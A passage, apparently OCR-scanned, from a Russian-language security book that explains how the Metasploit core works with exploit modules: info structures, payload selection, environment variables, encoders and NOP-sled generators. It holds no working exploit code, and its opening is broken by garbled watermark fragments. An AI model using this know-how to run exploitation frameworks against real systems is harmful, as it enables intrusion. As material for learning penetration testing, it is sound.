
 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

связь между эксплойтом и ядром, а объект предоставляет ядру доступ к двум-x cha

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

важным структурам данных.

Речь идет о структурах %info è %advanced, которые может опросить как пользователь, желающий узнать о поддерживаемых возможностях, так и ядро в ходе подготовки эксплойта к атаке. Когда пользователь вводит команду info, чтобы получить обязательные параметры, информация извлекается из структур %info è %advanced. К ней имеет доступ также и ядро, если она нужна для принятия решений. Когда пользователь запрашивает перечень имеющихся полезных нагрузок с помощью команды show payloads, ядро считывает данные об аппаратной платформе и операционной системе из структуры %info, поэтому пользователь получает лишь список совместимых полезных нагрузок. Вот почему на рис. 12.9 в ответ на команду show payloads показана лишь малая часть всего множества полезных нагрузок.

Выше мы уже упоминали, что данные между ядром Metasploit и эксплойтом передаются с помощью переменных окружения. Поэтому, когда пользователь выполняет команду set, устанавливается значение переменной, доступной как ядру, так и эксплойту. Снова возвращаясь к рис. 12.9, мы видим, что пользователь присвоил переменной окружения PAYLOAD значение win32_bind; позже ядро прочитает эту переменную, чтобы узнать, какую полезную нагрузку генерировать для эксплойта. Затем пользователь установил прочие обязательные параметры, после чего запустил эксплойт.

Команда exploit инициирует атаку, которая состоит из нескольких подшагов. Сначала генерируется полезная нагрузка в соответствии со значением переменной окружения PAYLOAD. Затем вызывается принимаемый по умолча- нию кодировщик, для того чтобы устранить из полезной нагрузки недопустимые символы; если ему не удалось сделать это, уложившись в ограничения по размеру, используется другой кодировщик. В командной строке можно

ñпомощью переменной окружения Encode установить кодировщик по умол- чанию. Если переменной окружения EncodeDontFallThrough присвоить значе- ние 1, то ядро не будет пытаться применить никакие другие кодировщики.

После кодирования, выбирается генератор NOP-команд в соответствии

ñаппаратной платформой, указанной для эксплойта. Тем, какой именно генератор выбрать, управляет переменная окружения Nop, которой следует присвоить имя нужного модуля.

Если задать переменную окружения NopDontFallThrough равной 1, то ядро не будет пытаться применить никакие другие генераторы, если выбранный по умолчанию почему-либо не сработает. Если переменная RandomNops равна 1, то ядро будет пытаться сгенерировать случайную дорожку из NOP-команд для эксплойтов на платформе x86. По умолчанию переменная RandomNops равна 1. Полный список переменных окружения вы можете найти на сайте проекта

Metasploit.